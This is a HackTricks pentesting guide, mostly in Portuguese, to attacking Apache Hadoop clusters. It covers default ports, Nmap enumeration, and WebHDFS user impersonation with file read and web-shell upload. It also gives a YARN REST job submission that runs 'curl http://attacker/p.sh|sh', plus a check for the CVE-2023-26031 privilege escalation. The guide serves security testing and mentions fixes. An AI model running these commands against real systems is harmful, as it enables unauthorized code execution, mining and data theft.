50030-50060-50070-50075-50090 - Pentesting Hadoop

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informação Básica

Apache Hadoop é um framework de código aberto para armazenamento e processamento distribuído de grandes conjuntos de dados em clusters de computadores. Ele usa HDFS para armazenamento e MapReduce para processamento.

Portas padrão úteis:

  • 50070 / 9870 NameNode (WebHDFS)
  • 50075 / 9864 DataNode
  • 50090 Secondary NameNode
  • 8088 YARN ResourceManager web UI & REST
  • 8042 YARN NodeManager
  • 8031/8032 YARN RPC (often forgotten and still unauth in many installs)

Infelizmente o Hadoop não tem suporte no framework Metasploit no momento desta documentação. Entretanto, você pode usar os seguintes Nmap scripts para enumerar serviços Hadoop:

  • hadoop-jobtracker-info (Port 50030)
  • hadoop-tasktracker-info (Port 50060)
  • hadoop-namenode-info (Port 50070)
  • hadoop-datanode-info (Port 50075)
  • hadoop-secondary-namenode-info (Port 50090)

É crucial notar que o Hadoop opera sem autenticação na sua configuração padrão. No entanto, para maior segurança, existem configurações disponíveis para integrar Kerberos com os serviços HDFS, YARN e MapReduce.

WebHDFS / HttpFS abuso (50070/9870 or 14000)

When security=off you can impersonate any user with the user.name parameter. Some quick primitives:

# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"

# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"

# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'

Se o HttpFS estiver habilitado (porta padrão 14000) os mesmos REST paths se aplicam. Por trás do Kerberos você ainda pode usar curl --negotiate -u : com um ticket válido.

YARN unauth RCE (8088)

A ResourceManager REST API aceita submissões de jobs sem autenticação no modo padrão “simple” (dr.who). Atacantes abusam dela para executar comandos arbitrários (por exemplo miners) sem precisar de acesso de escrita no HDFS.

# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application

# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'

Se a porta 8031/8032 RPC estiver exposta, clusters mais antigos permitem o mesmo envio de jobs over protobuf sem auth (documentado em várias campanhas de cryptominer) – trate essas portas como RCE também.

Local PrivEsc de YARN containers (CVE-2023-26031)

Hadoop 3.3.1–3.3.4 container-executor carrega libs a partir de um relative RUNPATH. Um usuário que possa executar YARN containers (incluindo remote submitters em clusters inseguros) pode colocar um libcrypto.so malicioso em um caminho gravável e obter root quando container-executor for executado com SUID.

Quick check:

readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor   # SUID+root makes it exploitable

Corrigido na 3.3.5; certifique-se de que o binário não seja SUID se containers seguros não forem necessários.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks